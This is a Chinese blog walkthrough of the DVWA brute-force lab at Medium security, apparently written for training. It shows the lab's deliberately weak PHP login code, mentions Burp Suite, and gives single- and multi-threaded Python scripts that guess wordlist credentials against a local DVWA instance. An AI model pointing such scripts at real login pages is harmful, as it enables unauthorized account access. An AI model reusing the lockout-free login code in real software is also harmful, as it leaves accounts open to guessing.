DVWA-1.2 Brute Force(暴力破解)-Medium

Medium Level

此阶段在失败的登录页面上加上了sleep(2),这意味着当我们输入的用户名或密码错误时,将需要等待额外的两秒钟才能看到错误页面。这只会减少单位时间内可处理的请求数量,从而使暴力破解的时间更长。

另外,本阶段源码通过mysql-real-escape-string()函数对输入的用户名和密码中的特殊字符进行了转义,以防止sql注入,因此无法使用万能密钥登录。

源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
medium.php

漏洞利用

方法一 利用burpsuite进行爆破

与Low Level中的方法一相同,不再赘述。另外,如果要用户名密码一起爆破,可以将攻击类型改为cluster bomb模式。

附结果

方法二 使用Python脚本爆破

与Low Level中Python脚本类似

脚本1:单线程

# Author:Zheng Na
import requests

url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
headers = {"Cookie":"security=medium; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}

flag = False
f1 = open("username.txt", 'r')
for line1 in f1:
    username = line1.strip()

    f2 = open("password.txt", 'r')
    for line2 in f2:
        password=line2.strip()
        params = {'username': username, 'password': password, 'Login': 'login'}
        response = requests.get(url, params=params, headers=headers)
        if "Welcome to the password protected area" in response.text:
            print("\033[31;1musername:%s,password:%s----right account!\033[0m"%(username,password))
            flag = True
            break
        else:
            print("username:%s,password:%s----wrong account!"%(username,password))
    if flag == True:
        break
    f2.close()
f1.close()

结果

 

脚本2:多线程

#Author:Zheng Na

import threading
import requests

def connect(username,password):
    semaphore.acquire()

    url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
    headers = {"Cookie":"security=medium; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
    params = {'username': username, 'password': password, 'Login': 'login'}
    response = requests.get(url, params=params, headers=headers)
    if "Welcome to the password protected area" in response.text:
        print("\033[31;1musername:%s,password:%s----right account!\033[0m" % (username, password))
    else:
        print("username:%s,password:%s----wrong account!" % (username, password))

    semaphore.release()

semaphore = threading.BoundedSemaphore(50)  # 生成信号量实例,最多允许50个线程同时运行

f1 = open("username.txt", 'r')
for line1 in f1:
    username = line1.strip()
    f2 = open("password.txt", 'r')
    for line2 in f2:
        password=line2.strip()
        t = threading.Thread(target=connect, args=(username,password,),)
        t.start()
    f2.close()
f1.close()

结果

posted @ 2020-05-06 16:03  zhengna  阅读(640)  评论(0编辑  收藏  举报